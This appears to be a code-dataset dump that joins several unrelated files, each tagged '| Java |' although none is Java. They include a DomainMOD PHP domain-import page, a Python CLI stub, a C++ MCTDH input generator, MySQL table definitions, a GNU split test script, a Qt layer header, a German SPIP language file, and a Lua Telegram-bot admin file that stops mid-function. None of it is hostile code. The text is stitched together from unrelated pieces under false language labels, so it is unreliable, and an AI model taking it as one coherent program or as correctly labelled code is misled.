<li>Ensure that the registrar has an API and that your account has been granted access to it</li>
<li>Enable API Support on the <a href="<?php echo $web_root; ?>/assets/registrars.php">registrar asset</a></li>
<li>Save the required API credentials with the <a href="<?php echo $web_root; ?>/assets/registrar-accounts.php">registrar account asset</a></li>
</ol><?php
echo $form->showFormTop('');
echo $form->showDropdownTopJump('', '', '', '');
$sql_account = "SELECT ra.id, ra.username, o.name AS o_name, r.name AS r_name
FROM registrar_accounts AS ra, owners AS o, registrars AS r
WHERE ra.owner_id = o.id
AND ra.registrar_id = r.id
AND r.api_registrar_id != '0'
ORDER BY r_name, o_name, ra.username";
$result_account = mysqli_query($connection, $sql_account) or $error->outputOldSqlError($connection);
echo $form->showDropdownOptionJump('add.php', '', 'Choose the Registrar Account to import', '');
while ($row_account = mysqli_fetch_object($result_account)) {
echo $form->showDropdownOptionJump('add.php?new_raid=', $row_account->id, $row_account->r_name . ', ' . $row_account->o_name . ' (' . $row_account->username . ')', $new_raid);
}
echo $form->showDropdownBottom('');
if ($new_raid != '') { ?>
<strong>API Requirements</strong><BR>
<?php echo $api_registrar_name; ?> requires the following credentials in order to use their API. These credentials must to be saved with the <a href="<?php echo $web_root; ?>/assets/edit/registrar-account.php?raid=<?php echo urlencode($new_raid); ?>">registrar account asset</a>.
<ul><?php
$missing_text = ' (<a href="' . $web_root . '/assets/edit/registrar-account.php?raid=' . htmlentities($new_raid, ENT_QUOTES, 'UTF-8') . '"><span style="color: #a30000"><strong>missing - click here to enter</strong></span></a>)';
$saved_text = ' (<span style="color: darkgreen"><strong>saved</strong></span>)';
if ($req_account_username == '1') {
echo '<li>Registrar Account Username';
if ($account_username == '') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
}
if ($req_account_password == '1') {
echo '<li>Registrar Account Password';
if ($account_password == '') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
}
if ($req_reseller_id == '1') {
echo '<li>Reseller ID';
if ($reseller_id == '' || $reseller_id == '0') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
}
if ($req_api_app_name == '1') {
echo '<li>API Application Name';
if ($api_app_name == '') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
}
if ($req_api_key == '1') {
echo '<li>API Key';
if ($api_key == '') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
}
if ($req_api_secret == '1') {
echo '<li>API Secret';
if ($api_secret == '') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
}
if ($req_ip_address == '1') {
echo '<li>Connecting IP Address';
if ($api_ip_id == '0') { echo $missing_text; } else { echo $saved_text; }
echo '</li>';
} ?>
</ul><?php
}
if ($registrar_notes != '') {
echo '<strong>Registrar Notes</strong><BR>';
echo $registrar_notes . "<BR><BR>";
}
if ($new_raid != '') {
if ($lists_domains == '1') {
echo '<strong>Domain List</strong><BR>';
echo htmlentities($api_registrar_name, ENT_QUOTES, 'UTF-8') . '\'s API has a domain list feature, so you don\'t even have to supply a list of the domains you want to import, DomainMOD will retrieve them for you automatically. If for some reason you\'re having issues with the automatic import though, you can still manually paste a list of domains to import below.<BR><BR>';
echo $form->showInputTextarea('raw_domain_list', '[OPTIONAL] Domains to add (one per line)', '', $raw_domain_list, '', '', '');
} else {
echo $form->showInputTextarea('raw_domain_list', 'Domains to add (one per line)', '', $raw_domain_list, '1', '', '');
}
}
if ($new_raid != '') {
echo $form->showSubmitButton('Add Domains', '', '');
}
echo $form->showInputHidden('new_raid', $new_raid);
echo $form->showFormBottom('');
?>
<?php include(DIR_INC . "layout/footer.inc.php"); ?>
</body>
</html>
| Java |
# Copyright (c) 2014 Stefano Palazzo <stefano.palazzo@gmail.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
'''
hello
Usage:
hello (--help | --version)
Options:
--help -h display this help message and exit
--version print version information and exit
'''
import sys
import docopt
import hello
def main(argv=sys.argv[1:]):
try:
docopt.docopt(__doc__, argv=argv, version=hello.__version__)
except docopt.DocoptExit as e:
print(str(e), file=sys.stderr)
return 2
except SystemExit as e:
return 0
if __name__ == "__main__": # pragma: no cover
sys.exit(main())
| Java |
/*
* Copyright 2015 Jan von Cosel
*
* This file is part of utility-scripts.
*
* utility-scripts is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* utility-scripts is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have recieved a copy of the GNU General Public License
* along with utility-scripts. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include <iostream>
#include <iomanip>
#include <fstream>
#include <algorithm>
#include <iterator>
#include <cmath>
#include <boost/filesystem.hpp>
#include <eigen3/Eigen/Core>
#include <eigen3/Eigen/Eigenvalues>
#include "constants.h"
#include "utilities.h"
/*
* Call this program like:
*
* ./mctdh_specinput <dE> <threshold>
*
* dE: the adiabatic electronic excitation energy in eV
* threshold: the cutoff threshold for including terms in
* the Hamiltonian (optional, default zero)
*
* The following files must be present in the working directory:
*
* 'gs_freqs' the ground and excited state normal mode frequencies in cm-1
* 'es_freqs'
* 'Displacement_Vector.dat' the vector K and the matrix J as output from FCClasses
* 'Duschinsky_Matrix.dat'
*/
int main(int argc, char *argv[])
{
/*
* Test for the command arguments:
*/
if (argc < 2)
{
std::cerr << "ERROR: wrong number of arguments\n";
return 2;
}
double dE = atof(argv[1]);
/*
* Test for existence of the required files.
*/
std::ifstream gsfc("gs_freqs", std::ifstream::in);
if (!gsfc.good())
{
std::cerr << "ERROR: File 'gs_freqs' could not be opened." << std::endl;
return 1;
}
std::ifstream esfc("es_freqs", std::ifstream::in);
if (!esfc.good())
{
std::cerr << "ERROR: File 'es_freqs' could not be opened." << std::endl;
return 1;
}
std::ifstream shift("Displacement_Vector.dat", std::ifstream::in);
if (!shift.good())
{
std::cerr << "ERROR: File 'Displacement_Vector.dat' could not be opened." << std::endl;
return 1;
}
std::ifstream dusch("Duschinsky_Matrix.dat", std::ifstream::in);
if (!dusch.good())
{
std::cerr << "ERROR: File 'Duschinsky_Matrix.dat' could not be opened." << std::endl;
return 1;
}
/*
* Get the number of lines (aka normal modes) in the ground state mode file.
* Check, if the excited state mode file contains the same number of modes.
*/
int Nmodes = std::count(std::istreambuf_iterator<char>(gsfc), std::istreambuf_iterator<char>(), '\n');
if (std::count(std::istreambuf_iterator<char>(esfc), std::istreambuf_iterator<char>(), '\n') != Nmodes)
{
std::cerr << "ERROR: The files 'gs_freqs' and 'es_freqs' do not contain the same number of lines." << std::endl;
return 1;
}
gsfc.seekg(0); // jump back to start of file
esfc.seekg(0);
/*
* Read the ground and excited state frequencies
* as well as the Displacement Vector and the Duschinsky Matrix.
*/
Eigen::VectorXd v1(Nmodes);
Eigen::VectorXd v2(Nmodes);
Eigen::VectorXd Korig(Nmodes), K(Nmodes);
Eigen::MatrixXd Jorig(Nmodes, Nmodes), J(Nmodes, Nmodes);
for (int i = 0; i < 2; i++)
shift.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); // skip the first two lines in the K file
for (int i = 0; i < 5; i++)
dusch.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); // and the first five lines in the J file
for (int i = 0; i < Nmodes; i++)
{
int dummyIndex, dummyIndex2;
gsfc >> v1(i);
esfc >> v2(i);
shift >> dummyIndex >> Korig(i);
for (int j = 0; j < Nmodes; j++)
dusch >> dummyIndex >> dummyIndex2 >> Jorig(j,i);
}
/*
* Calculate our J/K quantities from the FCClasses ones.
*/
J = Jorig.transpose();
K = -Jorig.transpose() * Korig;
/*
* Calculate the force constants from the frequencies.
*/
Eigen::VectorXd f1(Nmodes);
Eigen::VectorXd f2(Nmodes);
/*
* conversion from wavenumbers in cm-1 to mass-weighted force constants
* in atomic units
*
* fac = 4 pi**2 * c**2 * (100 cm/m)**2 * me**2 * a0**4 / hbar**2
*/
double factor = 40000.0 * M_PI * M_PI * c0 * c0 * me * me * a0 * a0 * a0 * a0 / (hbar * hbar);
for (int i = 0; i < Nmodes; i++)
{
f1(i) = v1(i) * v1(i) * factor;
f2(i) = v2(i) * v2(i) * factor;
}
/*
* Calculate the zero-point energies of the two states and print them out.
*/
double zpe1 = 0.0;
double zpe2 = 0.0;
for (int i = 0; i < Nmodes; i++)
{
zpe1 += 0.5 * sqrt(f1(i));
zpe2 += 0.5 * sqrt(f2(i));
}
/*
* Open the log file and write some statistics:
*/
std::ofstream logFile("log");
logFile << "Electronic transition energy: " << dE << std::endl;
logFile << "Number of normal modes: " << Nmodes << std::endl;
logFile << "Ground state force constants:\n";
Utils::WriteVectorToFile(logFile, f1);
logFile << "Excited state force constants:\n";
Utils::WriteVectorToFile(logFile, f2);
logFile << "Ground state zero-point Energy: " << zpe1 << "Eh\n";
logFile << "Excited state zero-point Energy: " << zpe2 << "Eh\n";
logFile << "Original Displacement Vector from FCClasses:\n";
Utils::WriteVectorToFile(logFile, Korig);
logFile << "Original Duschinsky Matrix from FCClasses:\n";
Utils::WriteMatrixToFile(logFile, Jorig);
logFile << "Displacement Vector:\n";
Utils::WriteVectorToFile(logFile, K);
logFile << "Duschinsky Matrix:\n";
Utils::WriteMatrixToFile(logFile, J, 3, true);
logFile << "Metric of the Duschinsky Matrix:\n";
Utils::WriteMatrixToFile(logFile, J.transpose() * J, 3, true);
logFile << "Frobenius norm of the Duschinsky matrix: " << J.norm() << std::endl;
logFile << "Determinant of the Duschinsky matrix: " << J.determinant() << std::endl;
/*
* ############################################################################################
* calculate the new PES parameters
* ############################################################################################
*
*
* Calculate the new force constants.
*/
Eigen::VectorXd fp(Nmodes);
for (int m = 0; m < Nmodes; m++)
{
fp(m) = 0.0;
for (int n = 0; n < Nmodes; n++)
fp(m) += f2(n) * J(n,m) * J(n,m);
}
/*
* Calculate the first-order coefficients.
*/
Eigen::VectorXd kappa(Nmodes);
for (int m = 0; m < Nmodes; m++)
{
kappa(m) = 0.0;
for (int n = 0; n < Nmodes; n++)
kappa(m) += f2(n) * K(n) * J(n,m);
}
/*
* Calculate the couplings.
*/
Eigen::MatrixXd phi(Eigen::MatrixXd::Zero(Nmodes,Nmodes));
Eigen::MatrixXd phiFull(Eigen::MatrixXd::Zero(Nmodes,Nmodes));
for (int m = 0; m < Nmodes; m++)
{
for (int o = m + 1; o < Nmodes; o++)
{
phi(m,o) = 0.0;
phiFull(m,o) = 0.0;
for (int n = 0; n < Nmodes; n++)
phi(m,o) += f2(n) * J(n,m) * J(n,o);
phiFull(m,o) = phi(m,o);
phiFull(o,m) = phi(m,o);
}
phiFull(m,m) = fp(m);
}
/*
* Calculate the energy shifts.
*/
Eigen::VectorXd d(Nmodes);
for (int i = 0; i < Nmodes; i++)
d(i) = (0.5 * f2(i) * K(i) * K(i));
/*
* write the coupling matrix to the log file:
*/
logFile << "Coupling matrix phi with the force constants fp on the diagonal:\n";
Utils::WriteMatrixToFile(logFile, phiFull, 3, true);
/*
* ############################################################################################
* write the MCTDH files
* ############################################################################################
*
*
* Now we can finally write the MCTDH input and operator files :)
* First, inquire the desired base-name for the files.
*/
std::cout << "Enter the base-name for the MCTDH files to be generated.\nThe files <name>.inp and <name>.op will then be written.\n>>> ";
std::string basename;
std::cin >> basename;
std::string inputFileName = basename + ".inp";
std::string operatorFileName = basename + ".op";
if (boost::filesystem::exists(inputFileName) || boost::filesystem::exists(operatorFileName))
{
std::cout << "One of the MCTDH files already exists. Should they be overwritten? (Y/N)\n>>> ";
char answer;
std::cin >> answer;
if (answer == 'N' || answer == 'n')
return 0;
}
std::ofstream inputFile(inputFileName);
std::ofstream operatorFile(operatorFileName);
inputFile.precision(1);
operatorFile.precision(8);
/*
* The run-section
*/
inputFile << "run-section\n";
inputFile << " name =\n";
inputFile << " propagation\n";
inputFile << " tfinal =\n";
inputFile << " tout =\n";
inputFile << " tpsi =\n";
inputFile << " psi gridpop auto steps graphviz\n";
inputFile << "end-run-section\n\n";
/*
* The operator-section
*/
inputFile << "operator-section\n";
inputFile << " opname = " << basename << std::endl;
inputFile << "end-operator-section\n\n";
/*
* The mlbasis-section
*/
// rearrange the modes in order of decreasing coupling
Eigen::MatrixXd phi_sort = phi.cwiseAbs();
std::vector<int> sortedModes;
while (phi_sort.norm() > 0.0)
{
Eigen::MatrixXd::Index maxRow, maxCol;
phi_sort.maxCoeff(&maxRow, &maxCol);
phi_sort(maxRow, maxCol) = 0.0;
if (std::find(sortedModes.begin(), sortedModes.end(), maxRow) == sortedModes.end())
sortedModes.push_back(maxRow);
if (std::find(sortedModes.begin(), sortedModes.end(), maxCol) == sortedModes.end())
sortedModes.push_back(maxCol);
}
// determine the required number of layers
int layers = 1;
while (pow(2.0, layers) < Nmodes)
layers++;
layers--;
// determine the number of nodes in each layer
std::vector<int> nodesPerLayer(layers);
nodesPerLayer.at(layers - 1) = Nmodes / 2;
for (int i = layers - 1; i > 0; i--)
{
nodesPerLayer.at(i - 1) = nodesPerLayer.at(i) / 2;
}
inputFile << "mlbasis-section\n";
for (int i = 0; i < Nmodes - 1; i += 2)
{
if (sortedModes.size() - i == 3)
inputFile << " [q_" << std::setfill('0') << std::setw(3) << sortedModes.at(i) + 1
<< " q_" << std::setfill('0') << std::setw(3) << sortedModes.at(i+1) + 1
<< " q_" << std::setfill('0') << std::setw(3) << sortedModes.at(i+2) + 1 << "]\n";
else
inputFile << " [q_" << std::setfill('0') << std::setw(3) << sortedModes.at(i) + 1
<< " q_" << std::setfill('0') << std::setw(3) << sortedModes.at(i+1) + 1 << "]\n";
}
inputFile << "end-mlbasis-section\n\n";
/*
* The pbasis-section
*/
inputFile << "pbasis-section\n";
for (int i = 0; i < Nmodes; i++)
inputFile << " q_" << std::setfill('0') << std::setw(3) << i + 1
<< " ho " << std::setw(3) << std::setfill(' ') << lrint(-0.8 * log(fp(i))) << " xi-xf "
//
// the basis boundarie are -kappa / fp +- 4 / fp**1/4
//
<< std::fixed << std::setfill(' ') << std::setw(8) << -(kappa(i) / fp(i)) - (2.1 / pow(fp(i), 0.305))
<< std::fixed << std::setfill(' ') << std::setw(8) << -(kappa(i) / fp(i)) + (2.1 / pow(fp(i), 0.305)) << std::endl;
inputFile << "end-pbasis-section\n\n";
/*
* The integrator section
*/
inputFile << "integrator-section\n";
inputFile << " vmf\n";
inputFile << " abm = 6, 1.0d-7, 0.01d0\n";
inputFile << "end-integrator-section\n\n";
/*
* The init wf section
*/
inputFile << "init_wf-section\n";
inputFile << " build\n";
for (int i = 0; i < Nmodes; i++)
inputFile << " q_" << std::setfill('0') << std::setw(3) << i + 1
<< " eigenf"
<< " Eq_" << std::setfill('0') << std::setw(3) << i + 1
<< " pop = 1\n";
inputFile << " end-build\n";
inputFile << "end-init_wf-section\n\n";
inputFile << "end-input\n\n";
/*
* Now the operator file
*
* First the op-define section
*/
operatorFile << "op_define-section\n";
operatorFile << " title\n";
operatorFile << " " << basename << std::endl;
operatorFile << " end-title\n";
operatorFile << "end-op_define-section\n\n";
/*
* The parameter section
*/
operatorFile << "parameter-section\n";
// the masses
for (int i = 0; i < Nmodes; i++)
operatorFile << " mass_q_" << std::setfill('0') << std::setw(3) << i + 1
<< " = 1.0\n";
// the ground state force constants
for (int i = 0; i < Nmodes; i++)
{
operatorFile << " f1_" << std::setfill('0') << std::setw(3) << i + 1 << " = ";
Utils::WriteFortranNumber(operatorFile, f1(i));
operatorFile << std::endl;
}
// the excited state force constants
for (int i = 0; i < Nmodes; i++)
{
operatorFile << " f2_" << std::setfill('0') << std::setw(3) << i + 1 << " = ";
Utils::WriteFortranNumber(operatorFile, f2(i));
operatorFile << std::endl;
}
// the new effective excited state force constants
for (int i = 0; i < Nmodes; i++)
{
operatorFile << " fp_" << std::setfill('0') << std::setw(3) << i + 1 << " = ";
Utils::WriteFortranNumber(operatorFile, fp(i));
operatorFile << std::endl;
}
// the couplings
for (int i = 0; i < Nmodes; i++)
for (int j = i + 1; j < Nmodes; j++)
{
operatorFile << " phi_" << std::setfill('0') << std::setw(3) << i + 1
<< "_" << std::setfill('0') << std::setw(3) << j + 1 << " = ";
Utils::WriteFortranNumber(operatorFile, phi(i,j));
operatorFile << std::endl;
}
// the first-order coefficients (shifts)
for (int i = 0; i < Nmodes; i++)
{
operatorFile << " kappa_" << std::setfill('0') << std::setw(3) << i + 1 << " = ";
Utils::WriteFortranNumber(operatorFile, kappa(i));
operatorFile << std::endl;
}
// the energy offsets
for (int i = 0; i < Nmodes; i++)
{
operatorFile << " d_" << std::setfill('0') << std::setw(3) << i + 1 << " = ";
Utils::WriteFortranNumber(operatorFile, d(i));
operatorFile << std::endl;
}
// the electronic offset minus the ground state ZPE
operatorFile << " dE = ";
Utils::WriteFortranNumber(operatorFile, dE / Eh2eV - zpe1);
operatorFile << "\nend-parameter-section\n\n";
/*
* The hamiltonian section
*/
operatorFile << "hamiltonian-section";
for (int i = 0; i < Nmodes; i++)
{
if (i % 8 == 0)
operatorFile << std::endl << "modes";
operatorFile << " | q_" << std::setfill('0') << std::setw(3) << i + 1;
}
operatorFile << std::endl;
for (int i = 0; i < Nmodes; i++)
operatorFile << "1.0 |" << i + 1 << " KE\n";
for (int i = 0; i < Nmodes; i++)
operatorFile << "0.5*fp_" << std::setfill('0') << std::setw(3) << i + 1
<< " |" << i + 1 << " q^2\n";
for (int i = 0; i < Nmodes; i++)
for (int j = i + 1; j < Nmodes; j++)
operatorFile << "phi_" << std::setfill('0') << std::setw(3) << i + 1
<< "_" << std::setfill('0') << std::setw(3) << j + 1
<< " |" << i + 1 << " q"
<< " |" << j + 1 << " q\n";
for (int i = 0; i < Nmodes; i++)
operatorFile << "kappa_" << std::setfill('0') << std::setw(3) << i + 1
<< " |" << i + 1 << " q\n";
for (int i = 0; i < Nmodes; i++)
operatorFile << "d_" << std::setfill('0') << std::setw(3) << i + 1
<< " |" << i + 1 << " 1\n";
operatorFile << "dE |1 1\n";
operatorFile << "end-hamiltonian-section\n\n";
/*
* One-dimensional Hamiltonians for the ground state normal modes
*/
for (int i = 0; i < Nmodes; i++)
{
operatorFile << "hamiltonian-section_Eq_" << std::setfill('0') << std::setw(3) << i + 1 << std::endl;
operatorFile << "usediag\n";
operatorFile << "modes | q_" << std::setfill('0') << std::setw(3) << i + 1 << std::endl;
operatorFile << "1.0 |1 KE\n";
operatorFile << "0.5*f1_" << std::setfill('0') << std::setw(3) << i + 1 << " |1 q^2\n";
operatorFile << "end-hamiltonian-section\n\n";
}
operatorFile << "end-operator\n";
/*
* Diagonalize the coupling matrix to get the force constants back
*/
Eigen::SelfAdjointEigenSolver<Eigen::MatrixXd> phiSolv(phiFull);
logFile << "Eigenvalues of the full force constant / coupling matrix:\n";
Utils::WriteVectorToFile(logFile, phiSolv.eigenvalues());
/*
* Solve the linear system of the full coupling matrix and the kappa vector
* to get the coordinates of the minimum
*/
Eigen::ColPivHouseholderQR<Eigen::MatrixXd> phiLin(phiFull);
Eigen::VectorXd minima = phiLin.solve(-kappa);
logFile << "minimum coordinates\n";
Utils::WriteVectorToFile(logFile, minima);
/*
* calculate the potential energy at the minimum
*/
double Emin = 0.0;
// first, quadratic term:
for (int i = 0; i < Nmodes; i++)
Emin += 0.5 * fp(i) * minima(i) * minima(i);
// second, coupling term:
for (int i = 0; i < Nmodes; i++)
for (int j = i + 1; j < Nmodes; j++)
Emin += phi(i,j) * minima(i) * minima(j);
// third, displacement term:
for (int i = 0; i < Nmodes; i++)
Emin += kappa(i) * minima(i);
// fourth, constant term:
for (int i = 0; i < Nmodes; i++)
Emin += d(i);
logFile << "Energy at minimum: " << Emin << std::endl;
/*
* Calculate the 1st moment of the spectrum analytically
*/
double moment = dE;
for (int i = 0; i < Nmodes; i++)
moment += 0.25 * (fp(i) - f1(i)) / sqrt(f1(i));
std::cout << "1st moment of the spectrum: " <<std::setprecision(8) << moment << std::endl;
return 0;
}
| Java |
CREATE TABLE IF NOT EXISTS `stena` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`id_user` int(11) NOT NULL,
`id_stena` int(11) NOT NULL,
`time` int(11) NOT NULL,
`msg` varchar(1024) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT NULL,
`read` int(11) DEFAULT '1',
PRIMARY KEY (`id`),
KEY `time` (`time`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
CREATE TABLE IF NOT EXISTS `stena_like` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`id_user` int(11) NOT NULL,
`id_stena` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1; | Java |
#!/bin/sh
# split must fail when given length/count of zero.
# Copyright (C) 2003-2019 Free Software Foundation, Inc.
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
. "${srcdir=.}/tests/init.sh"; path_prepend_ ./src
print_ver_ split
getlimits_
touch in || framework_failure_
split -a 0 in 2> /dev/null || fail=1
returns_ 1 split -b 0 in 2> /dev/null || fail=1
returns_ 1 split -C 0 in 2> /dev/null || fail=1
returns_ 1 split -l 0 in 2> /dev/null || fail=1
returns_ 1 split -n 0 in 2> /dev/null || fail=1
returns_ 1 split -n 1/0 in 2> /dev/null || fail=1
returns_ 1 split -n 0/1 in 2> /dev/null || fail=1
returns_ 1 split -n 2/1 in 2> /dev/null || fail=1
# Make sure -C doesn't create empty files.
rm -f x?? || fail=1
echo x | split -C 1 || fail=1
test -f xaa && test -f xab || fail=1
test -f xac && fail=1
# Make sure that the obsolete -N notation still works
split -1 in 2> /dev/null || fail=1
# Then make sure that -0 evokes a failure.
returns_ 1 split -0 in 2> /dev/null || fail=1
split --lines=$UINTMAX_MAX in || fail=1
split --bytes=$OFF_T_MAX in || fail=1
returns_ 1 split --line-bytes=$OFF_T_OFLOW 2> /dev/null in || fail=1
returns_ 1 split --line-bytes=$SIZE_OFLOW 2> /dev/null in || fail=1
if truncate -s$SIZE_OFLOW large; then
# Ensure we can split chunks of a large file on 32 bit hosts
split --number=$SIZE_OFLOW/$SIZE_OFLOW large >/dev/null || fail=1
fi
split --number=r/$UINTMAX_MAX/$UINTMAX_MAX </dev/null >/dev/null || fail=1
returns_ 1 split --number=r/$UINTMAX_OFLOW </dev/null 2>/dev/null || fail=1
# Make sure that a huge obsolete option evokes the right failure.
split -99999999999999999991 2> out
# On losing systems (x86 Solaris 5.9 c89), we get a message like this:
# split: line count option -9999999999... is too large
# while on most, we get this:
# split: line count option -99999999999999999991... is too large
# so map them both to -99*.
sed 's/99[19]*/99*/' out > out-t
mv -f out-t out
cat <<\EOF > exp
split: line count option -99*... is too large
EOF
compare exp out || fail=1
# Make sure split fails when it can't read input
# (the current directory in this case)
if ! cat . >/dev/null; then
# can't read() directories
returns_ 1 split . || fail=1
fi
Exit $fail
| Java |
/*
* This file is part of rpgmapper.
* See the LICENSE file for the software license.
* (C) Copyright 2018-2019, Oliver Maurhart, dyle71@gmail.com
*/
#ifndef RPGMAPPER_MODEL_LAYER_GRID_LAYER_HPP
#define RPGMAPPER_MODEL_LAYER_GRID_LAYER_HPP
#include <QColor>
#include <QJsonObject>
#include <QPainter>
#include <rpgmapper/layer/layer.hpp>
// fwd
namespace rpgmapper::model { class Map; }
namespace rpgmapper::model::layer {
/**
* Objects of the GridLayer class draw grids on a map.
*/
class GridLayer : public Layer {
Q_OBJECT
public:
/**
* Constructs a new GridLayer.
*
* @param map the map this layer belongs to.
*/
explicit GridLayer(rpgmapper::model::Map * map);
/**
* Destructs the GridLayer.
*/
~GridLayer() override = default;
/**
* Draws the grid onto the map.
*
* @param painter the painter used for drawing.
* @param tileSize the size of a single tile square side in pixels.
*/
void draw(QPainter & painter, int tileSize) const override;
/**
* Gets the color of the grid.
*
* @return the color used to paint the grid on the map.
*/
QColor getColor() const;
/**
* Extracts this layer as JSON object.
*
* @return a JSON object holding the layer data.
*/
QJsonObject getJSON() const override;
/**
* Applies a new grid color.
*
* @param color the new grid color.
*/
void setColor(QColor color);
signals:
/**
* The grid color has changed.
*
* @param color the new grid color.
*/
void gridColorChanged(QColor color);
private:
/**
* Draws the map border.
*
* @param painter the painter used for drawing.
* @param tileSize the size of a single tile square side in pixels.
*/
void drawBorder(QPainter & painter, int tileSize) const;
/**
* Draws all X-axis.
*
* @param painter the painter used for drawing.
* @param tileSize the size of a single tile square side in pixels.
*/
void drawXAxis(QPainter & painter, int tileSize) const;
/**
* Draws all Y-axis.
*
* @param painter the painter used for drawing.
* @param tileSize the size of a single tile square side in pixels.
*/
void drawYAxis(QPainter & painter, int tileSize) const;
};
}
#endif
| Java |
<?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined("_ECRIRE_INC_VERSION")) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer' => 'Löschen',
'bouton_mettre_a_jour' => 'Auf den neuesten Stand bringen',
'bouton_reset' => 'Zurücksetzen',
// C
'cfg' => 'CFG',
'choisir_module_a_configurer' => 'Wählen Sie das zu konfigurierende Modul',
'config_enregistree' => 'Speicherung von <b>@nom@</b> erfolgreich',
'config_supprimee' => 'Löschen von <b>@nom@</b> erfolgreich',
'configuration_modules' => 'Konfiguration der Module',
// E
'erreur_copie_fichier' => 'Die Datei @fichier@ kann nicht an ihren Zielort kopiert werden.',
'erreur_enregistrement' => 'Ein Fehler ist aufgetreten beim Speichern von <b>@nom@</b>',
'erreur_lecture' => 'Fehler beim Lesen von @nom@',
'erreur_open_w_fichier' => 'Fehler beim Öffnen der Datei @fichier@ zum Schreiben',
'erreur_suppression' => 'Ein Fehler ist aufgetreten beim Löschen von <b>@nom@</b>',
'erreur_suppression_fichier' => 'Die Datei @fichier@ kann nicht gelöscht werden.',
'erreur_type_id' => 'Das Feld @champ@ muss mit einem Buchstaben oder einem Unterstrich beginnen.',
'erreur_type_idnum' => 'Das Feld @champ@ muss numerisch sein.',
'erreur_type_pwd' => 'Das Feld @champ@ benötigt mindestens 5 Zeichen.',
// I
'id_manquant' => 'Fehlende ID',
'installation_librairies' => 'Herunterladen der Bibliotheken',
'installation_liste_libs' => 'Liste der Bibliotheken',
'installer_dossier_lib' => 'Sie müssen ein beschreibbares Verzeichnis mit dem Namen @dir@ im Wurzelverzeichnis Ihrer SPIP-Website anlegen.',
'installer_lib_192' => 'Um eine Bibliothek zu installieren, entpacken Sie die ZIP-Datei manuell und kopieren Sie den Inhalt des Archivs in das Verzeichnis @dir@.',
// L
'label_activer' => 'Aktivieren',
'label_obligatoire' => 'Pflichtfeld',
// N
'nom_table_manquant' => 'Fehlender Name der SQL Tabelle',
'nouveau' => 'Neu',
// O
'ok' => 'OK',
// P
'pas_de_champs_dans' => 'Kein Feld in @nom@ gefunden',
'pas_de_changement' => 'Keine Änderung in <b>@nom@</b>',
// R
'refus_configuration_administrateur' => 'Nur die Administratoren der Site dürfen diese Einstellungen ändern.',
'refus_configuration_webmestre' => 'Nur ein Webmaster darf diese EInstellungen bearbeiten.',
'reset' => 'Reset',
// S
'supprimer' => 'Standardeinstellungen wieder herstellen'
);
?>
| Java |
--Begin Tools.lua :)
local SUDO = 71377914 -- put Your ID here! <===
function exi_files(cpath)
local files = {}
local pth = cpath
for k, v in pairs(scandir(pth)) do
table.insert(files, v)
end
return files
end
local function file_exi(name, cpath)
for k,v in pairs(exi_files(cpath)) do
if name == v then
return true
end
end
return false
end
local function run_bash(str)
local cmd = io.popen(str)
local result = cmd:read('*all')
return result
end
local function index_function(user_id)
for k,v in pairs(_config.admins) do
if user_id == v[1] then
print(k)
return k
end
end
-- If not found
return false
end
local function getindex(t,id)
for i,v in pairs(t) do
if v == id then
return i
end
end
return nil
end
local function already_sudo(user_id)
for k,v in pairs(_config.sudo_users) do
if user_id == v then
return k
end
end
-- If not found
return false
end
local function reload_plugins( )
plugins = {}
load_plugins()
end
local function exi_file()
local files = {}
local pth = tcpath..'/data/document'
for k, v in pairs(scandir(pth)) do
if (v:match('.lua$')) then
table.insert(files, v)
end
end
return files
end
local function pl_exi(name)
for k,v in pairs(exi_file()) do
if name == v then
return true
end
end
return false
end
local function sudolist(msg)
local hash = "gp_lang:"..msg.to.id
local lang = redis:get(hash)
local sudo_users = _config.sudo_users
if not lang then
text = "*List of sudo users :*\n"
else
text = "_لیست سودو های ربات :_\n"
end
for i=1,#sudo_users do
text = text..i.." - "..sudo_users[i].."\n"
end
return text
end
local function adminlist(msg)
local hash = "gp_lang:"..msg.to.id
local lang = redis:get(hash)
local sudo_users = _config.sudo_users
if not lang then
text = '*List of bot admins :*\n'
else
text = "_لیست ادمین های ربات :_\n"
end
local compare = text
local i = 1
for v,user in pairs(_config.admins) do
text = text..i..'- '..(user[2] or '')..' ➣ ('..user[1]..')\n'
i = i +1
end
if compare == text then
if not lang then
text = '_No_ *admins* _available_'
else
text = '_ادمینی برای ربات تعیین نشده_'
end
end
return text
end
local function chat_list(msg)
